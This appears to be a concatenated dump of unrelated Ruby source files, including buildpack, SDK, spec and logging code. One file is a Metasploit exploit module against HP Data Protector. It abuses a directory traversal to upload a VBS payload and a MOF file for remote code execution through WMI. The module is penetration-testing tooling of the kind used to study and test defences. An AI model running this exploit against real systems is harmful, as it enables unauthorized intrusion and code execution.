[row, column] end # Finds the location coordinates of an multiple items/samples # # @param collection [Collection] the Collection containing the Item or Sample # @param items [Array<objects>] Item, Part, or Sample to be found # @return [Hash{sample: [row, column]}] def get_items_coordinates(collection, items) hash_of_locations = {} items.each do |item| hash_of_locations[item] = collection.find(item) end hash_of_locations end # Finds a part from an alpha numerical string location(e.g. A1, B1) # TODO Move to krill # # @param collection [Collection] the collection that contains the part # @param location [String] the location of the part within the collection # @return part [Item] the item at the given location def get_part(collection, location) row, column = convert_location_to_coordinates(location) collection.part(row, column) end end
32.961538
79
0.713341
08cdb93096112444e4f8ff6d9f8c9a96816d0d58
69
module FirmwareRegistryHelper include_concern 'TextualSummary' end
17.25
34
0.869565
792099c9beae59d142e1c266c7edba9c89a9b00f
6,664
# Cloud Foundry Java Buildpack # Copyright 2013-2017 the original author or authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. require 'fileutils' require 'java_buildpack/component/versioned_dependency_component' require 'java_buildpack/framework' require 'java_buildpack/util/qualify_path' module JavaBuildpack module Framework # Encapsulates the functionality for enabling zero-touch Safenet Luna HSM Java Security Provider support. class LunaSecurityProvider < JavaBuildpack::Component::VersionedDependencyComponent include JavaBuildpack::Util # (see JavaBuildpack::Component::BaseComponent#compile) def compile download_tar setup_ext_dir @droplet.copy_resources @droplet.security_providers << 'com.safenetinc.luna.provider.LunaProvider' @droplet.additional_libraries << luna_provider_jar if @droplet.java_home.java_9_or_later? credentials = @application.services.find_service(FILTER, 'client', 'servers', 'groups')['credentials'] write_client credentials['client'] write_servers credentials['servers'] write_configuration credentials['servers'], credentials['groups'] end # (see JavaBuildpack::Component::BaseComponent#release) def release @droplet.environment_variables.add_environment_variable 'ChrystokiConfigurationPath', @droplet.sandbox if @droplet.java_home.java_9_or_later? @droplet.additional_libraries << luna_provider_jar else @droplet.extension_directories << ext_dir end end protected # (see JavaBuildpack::Component::VersionedDependencyComponent#supports?) def supports? @application.services.one_service? FILTER, 'client', 'servers', 'groups' end private FILTER = /luna/ private_constant :FILTER def chrystoki @droplet.sandbox + 'Chrystoki.conf' end def client_certificate @droplet.sandbox + 'client-certificate.pem' end def client_private_key @droplet.sandbox + 'client-private-key.pem' end def ext_dir @droplet.sandbox + 'ext' end def luna_provider_jar @droplet.sandbox + 'jsp/LunaProvider.jar' end def luna_api_so @droplet.sandbox + 'jsp/64/libLunaAPI.so' end def lib_cryptoki @droplet.sandbox + 'libs/64/libCryptoki2.so' end def lib_cklog @droplet.sandbox + 'libs/64/libcklog2.so' end def setup_ext_dir FileUtils.mkdir ext_dir [luna_provider_jar, luna_api_so].each do |file| FileUtils.ln_s file.relative_path_from(ext_dir), ext_dir, force: true end end def logging? @configuration['logging_enabled'] end def ha_logging? @configuration['ha_logging_enabled'] end def padded_index(index) index.to_s.rjust(2, '0') end def relative(path) path.relative_path_from(@droplet.root) end def server_certificates @droplet.sandbox + 'server-certificates.pem' end def write_client(client) FileUtils.mkdir_p client_certificate.parent client_certificate.open(File::CREAT | File::WRONLY) do |f| f.write "#{client['certificate']}\n" end FileUtils.mkdir_p client_private_key.parent client_private_key.open(File::CREAT | File::WRONLY) do |f| f.write "#{client['private-key']}\n" end end def write_configuration(servers, groups) chrystoki.open(File::APPEND | File::WRONLY) do |f| write_prologue f servers.each_with_index { |server, index| write_server f, index, server } f.write <<TOKEN } VirtualToken = { TOKEN groups.each_with_index { |group, index| write_group f, index, group } write_epilogue f, groups end end def write_epilogue(f, groups) f.write <<HA } HAConfiguration = { AutoReconnectInterval = 60; HAOnly = 1; reconnAtt = -1; HA write_ha_logging(f) if ha_logging? f.write <<HA } HASynchronize = { HA groups.each { |group| f.write " #{group['label']} = 1;\n" } f.write "}\n" end def write_group(f, index, group) padded_index = padded_index index f.write " VirtualToken#{padded_index}Label = #{group['label']};\n" f.write " VirtualToken#{padded_index}SN = 1#{group['members'][0]};\n" f.write " VirtualToken#{padded_index}Members = #{group['members'].join(',')};\n" f.write "\n" end def write_lib(f) f.write <<CONFIG Chrystoki2 = { CONFIG if logging? write_logging(f) else f.write <<LIB LibUNIX64 = #{relative(lib_cryptoki)}; } LIB end end def write_logging(f) f.write <<LOGGING LibUNIX64 = #{relative(lib_cklog)}; } CkLog2 = { Enabled = 1; LibUNIX64 = #{relative(lib_cryptoki)}; LoggingMask = ALL_FUNC; LogToStreams = 1; NewFormat = 1; } LOGGING end def write_ha_logging(f) f.write <<HA haLogStatus = enabled; haLogToStdout = enabled; HA end def write_prologue(f) write_lib(f) f.write <<CLIENT LunaSA Client = { NetClient = 1; ClientCertFile = #{relative(client_certificate)}; ClientPrivKeyFile = #{relative(client_private_key)}; HtlDir = #{relative(@droplet.sandbox + 'htl')}; ServerCAFile = #{relative(server_certificates)}; CLIENT end def write_server(f, index, server) padded_index = padded_index index f.write " ServerName#{padded_index} = #{server['name']};\n" f.write " ServerPort#{padded_index} = 1792;\n" f.write " ServerHtl#{padded_index} = 0;\n" f.write "\n" end def write_servers(servers) FileUtils.mkdir_p server_certificates.parent server_certificates.open(File::CREAT | File::WRONLY) do |f| servers.each { |server| f.write "#{server['certificate']}\n" } end end end end end
26.339921
110
0.642257
039d7d301b136d14b14fe5aa28fec70a658a1d21
5,824
require 'rails_helper' RSpec.describe ActiveAdmin::Scope do describe "creating a scope" do subject{ scope } context "when just a scope method" do let(:scope) { ActiveAdmin::Scope.new :published } describe '#name' do subject { super().name } it { is_expected.to eq("Published")} end describe '#id' do subject { super().id } it { is_expected.to eq("published")} end describe '#scope_method' do subject { super().scope_method } it { is_expected.to eq(:published) } end end context "when scope method is :all" do let(:scope) { ActiveAdmin::Scope.new :all } describe '#name' do subject { super().name } it { is_expected.to eq("All")} end describe '#id' do subject { super().id } it { is_expected.to eq("all")} end # :all does not return a chain but an array of active record # instances. We set the scope_method to nil then. describe '#scope_method' do subject { super().scope_method } it { is_expected.to eq(nil) } end describe '#scope_block' do subject { super().scope_block } it { is_expected.to eq(nil) } end end context 'when a name and scope method is :all' do let(:scope) { ActiveAdmin::Scope.new 'Tous', :all } describe '#name' do subject { super().name } it { is_expected.to eq 'Tous' } end describe '#scope_method' do subject { super().scope_method } it { is_expected.to eq nil } end describe '#scope_block' do subject { super().scope_block } it { is_expected.to eq nil } end end context "when a name and scope method" do let(:scope) { ActiveAdmin::Scope.new "With API Access", :with_api_access } describe '#name' do subject { super().name } it { is_expected.to eq("With API Access")} end describe '#id' do subject { super().id } it { is_expected.to eq("with_api_access")} end describe '#scope_method' do subject { super().scope_method } it { is_expected.to eq(:with_api_access) } end end context "when a name and scope block" do let(:scope) { ActiveAdmin::Scope.new("My Scope"){|s| s } } describe '#name' do subject { super().name } it { is_expected.to eq("My Scope")} end describe '#id' do subject { super().id } it { is_expected.to eq("my_scope")} end describe '#scope_method' do subject { super().scope_method } it { is_expected.to eq(nil) } end describe '#scope_block' do subject { super().scope_block } it { is_expected.to be_a(Proc)} end end context "when a name has a space and lowercase" do let(:scope) { ActiveAdmin::Scope.new("my scope") } describe '#name' do subject { super().name } it { is_expected.to eq("my scope")} end describe '#id' do subject { super().id } it { is_expected.to eq("my_scope")} end end context "with a proc as the label" do it "should raise an exception if a second argument isn't provided" do expect{ ActiveAdmin::Scope.new proc{ Date.today.strftime '%A' } }.to raise_error 'A string/symbol is required as the second argument if your label is a proc.' end it "should properly render the proc" do scope = ActiveAdmin::Scope.new proc{ Date.today.strftime '%A' }, :foobar expect(scope.name.call).to eq Date.today.strftime '%A' end end context "with scope method and localizer" do let(:localizer) do loc = double(:localizer) allow(loc).to receive(:t).with(:published, scope: 'scopes').and_return("All published") loc end let(:scope) { ActiveAdmin::Scope.new :published, :published, localizer: localizer } describe '#name' do subject { super().name } it { is_expected.to eq("All published")} end describe '#id' do subject { super().id } it { is_expected.to eq("published")} end describe '#scope_method' do subject { super().scope_method } it { is_expected.to eq(:published) } end end end # describe "creating a scope" describe "#display_if_block" do it "should return true by default" do scope = ActiveAdmin::Scope.new(:default) expect(scope.display_if_block.call).to eq true end it "should return the :if block if set" do scope = ActiveAdmin::Scope.new(:with_block, nil, if: proc{ false }) expect(scope.display_if_block.call).to eq false end end describe "#default" do it "should accept a boolean" do scope = ActiveAdmin::Scope.new(:method, nil, default: true) expect(scope.default_block).to eq true end it "should default to a false #default_block" do scope = ActiveAdmin::Scope.new(:method, nil) expect(scope.default_block.call).to eq false end it "should store the :default proc" do scope = ActiveAdmin::Scope.new(:with_block, nil, default: proc{ true }) expect(scope.default_block.call).to eq true end end describe "show_count" do it "should allow setting of show_count to prevent showing counts" do scope = ActiveAdmin::Scope.new(:default, nil, show_count: false) expect(scope.show_count).to eq false end it "should set show_count to true if not passed in" do scope = ActiveAdmin::Scope.new(:default) expect(scope.show_count).to eq true end end end
27.733333
102
0.588255
6a4745176cdc1c5b0ec067a48890068f2411ab49
149
FactoryBot.define do factory :event_import_result, class: EventImportResult do association :event_import_file association :event end end
21.285714
59
0.791946
269dd28144d69e3b208239777005e75b1bb86037
124
module Stripe module JavascriptHelper def stripe_javascript_tag render :partial => 'stripe/js' end end end
17.714286
36
0.709677
08311aebd6598c17b6aeb5a652501bd33354a429
2,875
# encoding: utf-8 # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is # regenerated. module Azure::Network::Mgmt::V2020_08_01 module Models # # Response for ListVirtualRouterPeerings API service call. # class VirtualRouterPeeringListResult include MsRestAzure include MsRest::JSONable # @return [Array<VirtualRouterPeering>] List of VirtualRouterPeerings in # a VirtualRouter. attr_accessor :value # @return [String] URL to get the next set of results. attr_accessor :next_link # return [Proc] with next page method call. attr_accessor :next_method # # Gets the rest of the items for the request, enabling auto-pagination. # # @return [Array<VirtualRouterPeering>] operation results. # def get_all_items items = @value page = self while page.next_link != nil && !page.next_link.strip.empty? do page = page.get_next_page items.concat(page.value) end items end # # Gets the next page of results. # # @return [VirtualRouterPeeringListResult] with next page content. # def get_next_page response = @next_method.call(@next_link).value! unless @next_method.nil? unless response.nil? @next_link = response.body.next_link @value = response.body.value self end end # # Mapper for VirtualRouterPeeringListResult class as Ruby Hash. # This will be used for serialization/deserialization. # def self.mapper() { client_side_validation: true, required: false, serialized_name: 'VirtualRouterPeeringListResult', type: { name: 'Composite', class_name: 'VirtualRouterPeeringListResult', model_properties: { value: { client_side_validation: true, required: false, serialized_name: 'value', type: { name: 'Sequence', element: { client_side_validation: true, required: false, serialized_name: 'VirtualRouterPeeringElementType', type: { name: 'Composite', class_name: 'VirtualRouterPeering' } } } }, next_link: { client_side_validation: true, required: false, serialized_name: 'nextLink', type: { name: 'String' } } } } } end end end end
28.75
80
0.540522
b9f9a0003a4d1c4b4a5c3d24a0a620dd1e5cd4c2
486
# encoding: utf-8 # This file is distributed under New Relic's license terms. # See https://github.com/newrelic/newrelic-ruby-agent/blob/main/LICENSE for complete details. require 'resolv' require 'mocha/setup' class LoadTest < Minitest::Test def test_loading_agent_when_disabled_does_not_resolv_addresses ::Resolv.expects(:getaddress).never ::IPSocket.expects(:getaddress).never require File.expand_path(File.join(File.dirname(__FILE__),'..','test_helper')) end end
30.375
93
0.769547
ab581e8dd1a8d43c9071f129c648cce1281308ca
937
require 'cadence/metadata/activity' describe Cadence::Metadata::Activity do describe '#initialize' do subject { described_class.new(args.to_h) } let(:args) { Fabricate(:activity_metadata) } it 'sets the attributes' do expect(subject.domain).to eq(args.domain) expect(subject.id).to eq(args.id) expect(subject.name).to eq(args.name) expect(subject.task_token).to eq(args.task_token) expect(subject.attempt).to eq(args.attempt) expect(subject.workflow_run_id).to eq(args.workflow_run_id) expect(subject.workflow_id).to eq(args.workflow_id) expect(subject.workflow_name).to eq(args.workflow_name) expect(subject.headers).to eq(args.headers) expect(subject.timeouts).to eq(args.timeouts) end it { is_expected.to be_frozen } it { is_expected.to be_activity } it { is_expected.not_to be_decision } it { is_expected.not_to be_workflow } end end
34.703704
65
0.709712
bf407c337216682ef642efa351b77ef47abf97c0
968
require 'logger' # ------------------------------------------------------------------------------------------------- module Logging def logger @logger ||= Logging.logger_for( self.class.name ) end # Use a hash class-ivar to cache a unique Logger per class: @loggers = {} class << self def logger_for( classname ) @loggers[classname] ||= configure_logger_for( classname ) end def configure_logger_for( classname ) logger = Logger.new(STDOUT) logger.progname = classname logger.level = Logger::DEBUG logger.datetime_format = '%Y-%m-%d %H:%M:%S::%3N' logger.formatter = proc do |severity, datetime, progname, msg| "[#{datetime.strftime( logger.datetime_format )}] #{severity.ljust(5)} : #{progname} - #{msg}\n" end logger end end end # -------------------------------------------------------------------------------------------------
26.888889
104
0.47624
4a0276c86e446b842033d91477828c8fba7163b0
996
class Igv < Formula desc "Interactive Genomics Viewer" homepage "https://www.broadinstitute.org/software/igv" url "https://data.broadinstitute.org/igv/projects/downloads/2.8/IGV_2.8.8.zip" sha256 "d9fb5ccf6f531a6f378c6640d7ccb5386c01ecec7a0ca29c64510fa4f0dc8b9a" bottle :unneeded depends_on "openjdk" def install inreplace ["igv.sh", "igvtools"], /^prefix=.*/, "prefix=#{libexec}" bin.install "igv.sh" => "igv" bin.install "igvtools" libexec.install "igv.args", "lib" bin.env_script_all_files libexec, JAVA_HOME: Formula["openjdk"].opt_prefix end test do assert_match "Usage:", shell_output("#{bin}/igvtools") assert_match "org/broad/igv/ui/IGV.class", shell_output("#{Formula["openjdk"].bin}/jar tf #{libexec}/lib/igv.jar") # Fails on Jenkins with Unhandled exception: java.awt.HeadlessException unless ENV["CI"] (testpath/"script").write "exit" assert_match "Version", shell_output("#{bin}/igv -b script") end end end
34.344828
118
0.705823
183bbdc3a9cc7c84fd322f4056f74aaf7490ece0
5,204
require "active_support/core_ext/integer/time" Rails.application.configure do # Settings specified here will take precedence over those in config/application.rb. # Code is not reloaded between requests. config.cache_classes = true # Eager load code on boot. This eager loads most of Rails and # your application in memory, allowing both threaded web servers # and those relying on copy on write to perform better. # Rake tasks automatically ignore this option for performance. config.eager_load = true # Full error reports are disabled and caching is turned on. config.consider_all_requests_local = false config.action_controller.perform_caching = true # Ensures that a master key has been made available in either ENV["RAILS_MASTER_KEY"] # or in config/master.key. This key is used to decrypt credentials (and other encrypted files). # config.require_master_key = true # Disable serving static files from the `/public` folder by default since # Apache or NGINX already handles this. config.public_file_server.enabled = ENV['RAILS_SERVE_STATIC_FILES'].present? # Enable serving of images, stylesheets, and JavaScripts from an asset server. # config.action_controller.asset_host = 'http://assets.example.com' # Specifies the header that your server uses for sending files. # config.action_dispatch.x_sendfile_header = 'X-Sendfile' # for Apache # config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for NGINX # Store uploaded files on the local file system (see config/storage.yml for options). config.active_storage.service = :local # Mount Action Cable outside main process or domain. # config.action_cable.mount_path = nil # config.action_cable.url = 'wss://example.com/cable' # config.action_cable.allowed_request_origins = [ 'http://example.com', /http:\/\/example.*/ ] # Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies. # config.force_ssl = true # Include generic and useful information about system operation, but avoid logging too much # information to avoid inadvertent exposure of personally identifiable information (PII). config.log_level = :info # Prepend all log lines with the following tags. config.log_tags = [ :request_id ] # Use a different cache store in production. # config.cache_store = :mem_cache_store # Use a real queuing backend for Active Job (and separate queues per environment). # config.active_job.queue_adapter = :resque # config.active_job.queue_name_prefix = "sandbox_todo_app_production" config.action_mailer.perform_caching = false # Ignore bad email addresses and do not raise email delivery errors. # Set this to true and configure the email server for immediate delivery to raise delivery errors. # config.action_mailer.raise_delivery_errors = false # Enable locale fallbacks for I18n (makes lookups for any locale fall back to # the I18n.default_locale when a translation cannot be found). config.i18n.fallbacks = true # Send deprecation notices to registered listeners. config.active_support.deprecation = :notify # Log disallowed deprecations. config.active_support.disallowed_deprecation = :log # Tell Active Support which deprecation messages to disallow. config.active_support.disallowed_deprecation_warnings = [] # Use default logging formatter so that PID and timestamp are not suppressed. config.log_formatter = ::Logger::Formatter.new # Use a different logger for distributed setups. # require "syslog/logger" # config.logger = ActiveSupport::TaggedLogging.new(Syslog::Logger.new 'app-name') if ENV["RAILS_LOG_TO_STDOUT"].present? logger = ActiveSupport::Logger.new(STDOUT) logger.formatter = config.log_formatter config.logger = ActiveSupport::TaggedLogging.new(logger) end # Do not dump schema after migrations. config.active_record.dump_schema_after_migration = false # Inserts middleware to perform automatic connection switching. # The `database_selector` hash is used to pass options to the DatabaseSelector # middleware. The `delay` is used to determine how long to wait after a write # to send a subsequent read to the primary. # # The `database_resolver` class is used by the middleware to determine which # database is appropriate to use based on the time delay. # # The `database_resolver_context` class is used by the middleware to set # timestamps for the last write to the primary. The resolver uses the context # class timestamps to determine how long to wait before reading from the # replica. # # By default Rails will store a last write timestamp in the session. The # DatabaseSelector middleware is designed as such you can define your own # strategy for connection switching and pass that into the middleware through # these configuration options. # config.active_record.database_selector = { delay: 2.seconds } # config.active_record.database_resolver = ActiveRecord::Middleware::DatabaseSelector::Resolver # config.active_record.database_resolver_context = ActiveRecord::Middleware::DatabaseSelector::Resolver::Session config.hosts << '127.0.0.1' end
44.862069
114
0.765949
626e0113a3a4012e5c0c956b2ac80fc5a7022ce2
617
require "json" package = JSON.parse(File.read(File.join(__dir__, "package.json"))) Pod::Spec.new do |s| s.name = "aeroxmotion-react-native-async-json-file-storage" s.version = package["version"] s.summary = package["description"] s.homepage = package["homepage"] s.license = package["license"] s.authors = package["author"] s.platforms = { :ios => "10.0" } s.source = { :git => "https://github.com/aeroxmotion/react-native-async-json-file-storage.git", :tag => "#{s.version}" } s.source_files = "ios/**/*.{h,m,mm,swift}" s.dependency "React-Core" end
30.85
128
0.615883
b913931941fbd725901bf845064d1acc8e5a86ef
204
class CreateStudentKlasses < ActiveRecord::Migration[5.0] def change create_table :student_klasses do |t| t.integer :klass_id t.integer :student_id t.timestamps end end end
18.545455
57
0.691176
28dbbdf50209165bbc745e96e81beabf4e5f3129
795
require 'test_helper' describe 'Lotus middleware integration' do before do @routes = Lotus::Router.new(namespace: Web::Controllers) do get '/', to: 'home#index' get '/dashboard', to: 'dashboard#index' end @app = Rack::MockRequest.new(@routes) end it 'action with middleware' do response = @app.get('/', lint: true) response.body.must_equal 'Hello from Web::Controllers::Home::Index' response.status.must_equal 200 response.headers.fetch('X-Middleware').must_equal 'CALLED' end it 'action without middleware' do response = @app.get('/dashboard', lint: true) response.body.must_equal 'Hello from Web::Controllers::Dashboard::Index' response.status.must_equal 200 response.headers['X-Middleware'].must_be_nil end end
29.444444
76
0.686792
6a6bba2ee0bd61e683766c3b725cf648d8be9f30
585
require "rubymc" include Rubymc::MonteCarloSimulation #define function to evaluate def f(x) -1.0 * x**2 + 1 end #define simulation experiment = Simulation.new do iterations 50000 chains 4 sample { 2.0 * (Kernel.rand - 0.5) } calculate {|x| f(x)} end #run Monte Carlo Simulation results = experiment.run #merge chains and create Measurement object measurement = Measurement.new( Rubymc::MonteCarloSimulation.merge_chains(results)[0] ) #output integral = 2.0 * measurement.mean puts "Calculated integral from -1.0 to 1.0 = #{integral}" puts "Correct integral = 1.33333"
20.172414
86
0.731624
bbc16c268ef3b336c0fbf078be32c85c43b4673d
968
# frozen_string_literal: true module RuboCop module Cop module Style # This cop checks that arrays are sliced with endless ranges instead of # `ary[start..-1]` on Ruby 2.6+. # # @example # # bad # items[1..-1] # # # good # items[1..] class SlicingWithRange < Base extend AutoCorrector extend TargetRubyVersion minimum_target_ruby_version 2.6 MSG = 'Prefer ary[n..] over ary[n..-1].' RESTRICT_ON_SEND = %i[[]].freeze # @!method range_till_minus_one?(node) def_node_matcher :range_till_minus_one?, '(irange !nil? (int -1))' def on_send(node) return unless node.arguments.count == 1 return unless range_till_minus_one?(node.arguments.first) add_offense(node.first_argument) do |corrector| corrector.remove(node.first_argument.end) end end end end end end
24.820513
77
0.58781
ed7377bce0bd6fe977b345f2312346883ef8cd9b
4,773
## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::EXE include Msf::Exploit::WbemExec include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'HP Data Protector Backup Client Service Directory Traversal', 'Description' => %q{ This module exploits a directory traversal vulnerability in the Hewlett-Packard Data Protector product. The vulnerability exists at the Backup Client Service (OmniInet.exe) when parsing packets with opcode 42. This module has been tested successfully on HP Data Protector 6.20 on Windows 2003 SP2 and Windows XP SP3. }, 'Author' => [ 'Brian Gorenc', # Vulnerability discovery 'juan vazquez' # Metasploit module ], 'References' => [ [ 'CVE', '2013-6194' ], [ 'OSVDB', '101630' ], [ 'BID', '64647' ], [ 'ZDI', '14-003' ], [ 'URL' , 'https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03822422' ] ], 'Privileged' => true, 'Payload' => { 'Space' => 2048, # Payload embedded into an exe 'DisableNops' => true }, 'DefaultOptions' => { 'WfsDelay' => 5 }, 'Platform' => 'win', 'Targets' => [ [ 'HP Data Protector 6.20 build 370 / Windows 2003 SP2', { } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jan 02 2014')) register_options([Opt::RPORT(5555)], self.class) end def check fingerprint = get_fingerprint if fingerprint.nil? return Exploit::CheckCode::Unknown end print_status("#{peer} - HP Data Protector version #{fingerprint}") if fingerprint =~ /HP Data Protector A\.06\.(\d+)/ minor = $1.to_i else return Exploit::CheckCode::Safe end if minor < 21 return Exploit::CheckCode::Vulnerable elsif minor == 21 return Exploit::CheckCode::Detected else return Exploit::CheckCode::Detected end end def exploit # Setup the necessary files to do the wbemexec trick vbs_name = rand_text_alpha(rand(10)+5) + '.vbs' exe = generate_payload_exe vbs = Msf::Util::EXE.to_exe_vbs(exe) mof_name = rand_text_alpha(rand(10)+5) + '.mof' mof = generate_mof(mof_name, vbs_name) # We can't upload binary contents, so embedding the exe into a VBS. print_status("#{peer} - Sending malicious packet with opcode 42 to upload the vbs payload #{vbs_name}...") upload_file("windows\\system32\\#{vbs_name}", vbs) register_file_for_cleanup(vbs_name) print_status("#{peer} - Sending malicious packet with opcode 42 to upload the mof file #{mof_name}") upload_file("WINDOWS\\system32\\wbem\\mof\\#{mof_name}", mof) register_file_for_cleanup("wbem\\mof\\good\\#{mof_name}") end def peer "#{rhost}:#{rport}" end def build_pkt(fields) data = "\xff\xfe" # BOM Unicode fields.each do |v| data << "#{Rex::Text.to_unicode(v)}\x00\x00" data << Rex::Text.to_unicode(" ") # Separator end data.chomp!(Rex::Text.to_unicode(" ")) # Delete last separator return [data.length].pack("N") + data end def get_fingerprint ommni = connect ommni.put(rand_text_alpha_upper(64)) resp = ommni.get_once(-1) disconnect if resp.nil? return nil end return Rex::Text.to_ascii(resp).chop.chomp # Delete unicode last nl end def upload_file(file_name, contents) connect pkt = build_pkt([ "2", # Message Type rand_text_alpha(8), rand_text_alpha(8), rand_text_alpha(8), rand_text_alpha(8), rand_text_alpha(8), "42", # Opcode rand_text_alpha(8), # command rand_text_alpha(8), # rissServerName rand_text_alpha(8), # rissServerPort "\\..\\..\\..\\..\\..\\#{file_name}", # rissServerCertificate contents # Certificate contents ]) sock.put(pkt) sock.get_once # You cannot be confident about the response to guess if upload # has been successful or not. While testing, different result codes, # including also no response because of timeout due to a process # process execution after file write on the target disconnect end end
30.401274
113
0.595014
01908cc41ee39dfdf4844bce1fd4457a14277a85
8,121
=begin #ORY Hydra #Welcome to the ORY Hydra HTTP API documentation. You will find documentation for all HTTP APIs here. The version of the OpenAPI document: v1.10.5 Generated by: https://openapi-generator.tech OpenAPI Generator version: 5.1.1 =end require 'date' require 'time' module OryHydraClient class LogoutRequest # Challenge is the identifier (\"logout challenge\") of the logout authentication request. It is used to identify the session. attr_accessor :challenge attr_accessor :client # RequestURL is the original Logout URL requested. attr_accessor :request_url # RPInitiated is set to true if the request was initiated by a Relying Party (RP), also known as an OAuth 2.0 Client. attr_accessor :rp_initiated # SessionID is the login session ID that was requested to log out. attr_accessor :sid # Subject is the user for whom the logout was request. attr_accessor :subject # Attribute mapping from ruby-style variable name to JSON key. def self.attribute_map { :'challenge' => :'challenge', :'client' => :'client', :'request_url' => :'request_url', :'rp_initiated' => :'rp_initiated', :'sid' => :'sid', :'subject' => :'subject' } end # Returns all the JSON keys this model knows about def self.acceptable_attributes attribute_map.values end # Attribute type mapping. def self.openapi_types { :'challenge' => :'String', :'client' => :'OAuth2Client', :'request_url' => :'String', :'rp_initiated' => :'Boolean', :'sid' => :'String', :'subject' => :'String' } end # List of attributes with nullable: true def self.openapi_nullable Set.new([ ]) end # Initializes the object # @param [Hash] attributes Model attributes in the form of hash def initialize(attributes = {}) if (!attributes.is_a?(Hash)) fail ArgumentError, "The input argument (attributes) must be a hash in `OryHydraClient::LogoutRequest` initialize method" end # check to see if the attribute exists and convert string to symbol for hash key attributes = attributes.each_with_object({}) { |(k, v), h| if (!self.class.attribute_map.key?(k.to_sym)) fail ArgumentError, "`#{k}` is not a valid attribute in `OryHydraClient::LogoutRequest`. Please check the name to make sure it's valid. List of attributes: " + self.class.attribute_map.keys.inspect end h[k.to_sym] = v } if attributes.key?(:'challenge') self.challenge = attributes[:'challenge'] end if attributes.key?(:'client') self.client = attributes[:'client'] end if attributes.key?(:'request_url') self.request_url = attributes[:'request_url'] end if attributes.key?(:'rp_initiated') self.rp_initiated = attributes[:'rp_initiated'] end if attributes.key?(:'sid') self.sid = attributes[:'sid'] end if attributes.key?(:'subject') self.subject = attributes[:'subject'] end end # Show invalid properties with the reasons. Usually used together with valid? # @return Array for valid properties with the reasons def list_invalid_properties invalid_properties = Array.new invalid_properties end # Check to see if the all the properties in the model are valid # @return true if the model is valid def valid? true end # Checks equality by comparing each attribute. # @param [Object] Object to be compared def ==(o) return true if self.equal?(o) self.class == o.class && challenge == o.challenge && client == o.client && request_url == o.request_url && rp_initiated == o.rp_initiated && sid == o.sid && subject == o.subject end # @see the `==` method # @param [Object] Object to be compared def eql?(o) self == o end # Calculates hash code according to all attributes. # @return [Integer] Hash code def hash [challenge, client, request_url, rp_initiated, sid, subject].hash end # Builds the object from hash # @param [Hash] attributes Model attributes in the form of hash # @return [Object] Returns the model itself def self.build_from_hash(attributes) new.build_from_hash(attributes) end # Builds the object from hash # @param [Hash] attributes Model attributes in the form of hash # @return [Object] Returns the model itself def build_from_hash(attributes) return nil unless attributes.is_a?(Hash) self.class.openapi_types.each_pair do |key, type| if attributes[self.class.attribute_map[key]].nil? && self.class.openapi_nullable.include?(key) self.send("#{key}=", nil) elsif type =~ /\AArray<(.*)>/i # check to ensure the input is an array given that the attribute # is documented as an array but the input is not if attributes[self.class.attribute_map[key]].is_a?(Array) self.send("#{key}=", attributes[self.class.attribute_map[key]].map { |v| _deserialize($1, v) }) end elsif !attributes[self.class.attribute_map[key]].nil? self.send("#{key}=", _deserialize(type, attributes[self.class.attribute_map[key]])) end end self end # Deserializes the data based on type # @param string type Data type # @param string value Value to be deserialized # @return [Object] Deserialized data def _deserialize(type, value) case type.to_sym when :Time Time.parse(value) when :Date Date.parse(value) when :String value.to_s when :Integer value.to_i when :Float value.to_f when :Boolean if value.to_s =~ /\A(true|t|yes|y|1)\z/i true else false end when :Object # generic object (usually a Hash), return directly value when /\AArray<(?<inner_type>.+)>\z/ inner_type = Regexp.last_match[:inner_type] value.map { |v| _deserialize(inner_type, v) } when /\AHash<(?<k_type>.+?), (?<v_type>.+)>\z/ k_type = Regexp.last_match[:k_type] v_type = Regexp.last_match[:v_type] {}.tap do |hash| value.each do |k, v| hash[_deserialize(k_type, k)] = _deserialize(v_type, v) end end else # model # models (e.g. Pet) or oneOf klass = OryHydraClient.const_get(type) klass.respond_to?(:openapi_one_of) ? klass.build(value) : klass.build_from_hash(value) end end # Returns the string representation of the object # @return [String] String presentation of the object def to_s to_hash.to_s end # to_body is an alias to to_hash (backward compatibility) # @return [Hash] Returns the object in the form of hash def to_body to_hash end # Returns the object in the form of hash # @return [Hash] Returns the object in the form of hash def to_hash hash = {} self.class.attribute_map.each_pair do |attr, param| value = self.send(attr) if value.nil? is_nullable = self.class.openapi_nullable.include?(attr) next if !is_nullable || (is_nullable && !instance_variable_defined?(:"@#{attr}")) end hash[param] = _to_hash(value) end hash end # Outputs non-array value in the form of hash # For object, use to_hash. Otherwise, just return the value # @param [Object] value Any valid value # @return [Hash] Returns the value in the form of hash def _to_hash(value) if value.is_a?(Array) value.compact.map { |v| _to_hash(v) } elsif value.is_a?(Hash) {}.tap do |hash| value.each { |k, v| hash[k] = _to_hash(v) } end elsif value.respond_to? :to_hash value.to_hash else value end end end end
30.189591
207
0.620121
0138b442197c16849cd5383e7bb8841dada131e4
1,618
